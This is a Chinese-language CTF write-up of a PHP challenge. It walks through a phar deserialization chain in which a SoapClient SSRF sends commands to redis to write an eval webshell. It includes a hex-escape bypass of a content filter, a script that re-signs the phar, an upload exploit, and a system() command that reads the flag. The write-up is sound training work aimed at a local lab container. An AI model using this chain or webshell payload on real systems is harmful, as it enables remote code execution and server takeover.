这里用的大头的环境复现的,源文章:https://www.yuque.com/dat0u/ctf/sderglp3e16086dg

1
docker run -it -d -p 12345:80 -e FLAG=flag{8382843b-d3e8-72fc-6625-ba5269953b23} ccr.ccs.tencentyun.com/lxxxin/public:jqctf2023-solo-pop
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
 <?php
highlight_file(__FILE__);

class test_upload
{
public $check;
public $filename;

public function __construct($filename)
{
$this->check = new check();
$this->filename = $filename;
}

public function __destruct()
{
if (!$this->check->checkname($this->filename)) {
die('error');
}
}
}

class check
{
public function checkname($filename)
{
$ext = pathinfo($filename, PATHINFO_EXTENSION);
return in_array($ext, array('jpg', 'png'), true);
}
}

if (!empty($_FILES['file']['tmp_name'])) {
$tmpname = $_FILES['file']['tmp_name'];
$filename = $_FILES['file']['name'];
if (is_uploaded_file($tmpname)) {
if (move_uploaded_file($tmpname, "/var/www/html/check.jpg")) {
echo "upload ok";
}
}
}
if (is_file('check.jpg')) {
if (preg_match("/ph|\\\x|<\?/i", file_get_contents('check.jpg'))) {
unlink('check.jpg');
die('error1');
}
if (!getimagesize('check.jpg')) {
unlink('check.jpg');
die('error2');
}
}
if (file_exists($_GET['img_file'])) {
echo "success";
}

分析一下:

  • testupload类有个__destruct魔术方法可以调用一个checkname()方法,这里是phar序列化漏洞利用点
  • check类就有一个检测后缀的函数(允许jpg和png后缀)
  • 然后是一个文件上传点我们可以上传任意文件,会被保存到/var/www/html/check.jpg
  • 然后检测是否存在check.jpg文件,然后做了一个正则匹配不能出现ph,\x,<?这样的情况
  • 然后检测check.jpg的文件头字节是否属于图片不是就删掉
  • 最后就是我们可以传参控制phar文件路径,这里的file_exists()函数就是受影响的函数,当检查的文件是phar文件时会自动反序列化meta-data数据

我们访问robots.txt可以发现:
redis.conf里可以找到redis的密码:574c941c5987232d337276764d3413c4
image.png

htaccess.txt可以发现:

1
2
AddType application/x-httpd-php .wupco
SetHandler application/x-httpd-php

他可以把wupco后缀当成php文件解析

思路:
phar反序列化,test_upload的check成员设置为SoapClient对象,当调用if (!$this->check->checkname($this->filename)) {时,调用不存在方法会调用SoapClient的__invoke方法发送ssrf去打redis写webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

$target = 'http://127.0.0.1:6379/';

$poc0="AUTH 574c941c5987232d337276764d3413c4";
$poc="CONFIG SET dir /var/www/html/";
$poc1="SET x '<?=eval(\$_POST[1]);?>'";
$poc2="CONFIG SET dbfilename shell.php";
$poc3="SAVE";

$uri = 'hello^^'.$poc0.'^^'.$poc.'^^'.$poc1.'^^'.$poc2.'^^'.$poc3.'^^hello';
$uri = str_replace('^^',"\r\n",$uri);
$a = array('location' => $target,'uri' => $uri);
$b = new SoapClient(null, $a);

class test_upload{
public $check;
public $filename;

public function __construct($check, $filename)
{
$this->filename = $filename;
$this->check = $check;
}
}

$exp = new test_upload($b, 'exp.jpg');
$phar = new Phar("exp.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a' . '__HALT_COMPILER();'); // add GIF Header
$phar->setMetadata($exp); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件 //签名自动计算
$phar->stopBuffering();
rename("exp.phar", "exp.jpg");

由于题目用正则匹配了文件内容,所以直接上传上面的包是不行的,check.jpg会被删掉,所以我们需要对exp.jpg做处理:

  • 利用序列化字符串16进制绕过,将s改成S
  • 把?做16进制编码加个反斜杠,即\3f
  • 由于还会匹配ph字样,所以把h也做16进制编码,编码成\68
    image.png

此时需要重新计算签名:

1
2
3
4
5
6
7
from hashlib import sha1  
with open('./exp.jpg', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型和GBMB标识
newf = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)with open('./jmx.jpg', 'wb') as file:
file.write(newf) # 写入新文件

exp:

1
2
3
4
5
6
import requests  

url='http://127.0.0.1:12345/'
files={'file':open("jmx.jpg",'rb')}
req=requests.post(url=url,files=files)
requests.get(url=url+"?img_file=phar:///var/www/html/check.jpg/test.txt")

image.png
这个镜像设置了curl的suid权限

1
1=system('curl file:///flag');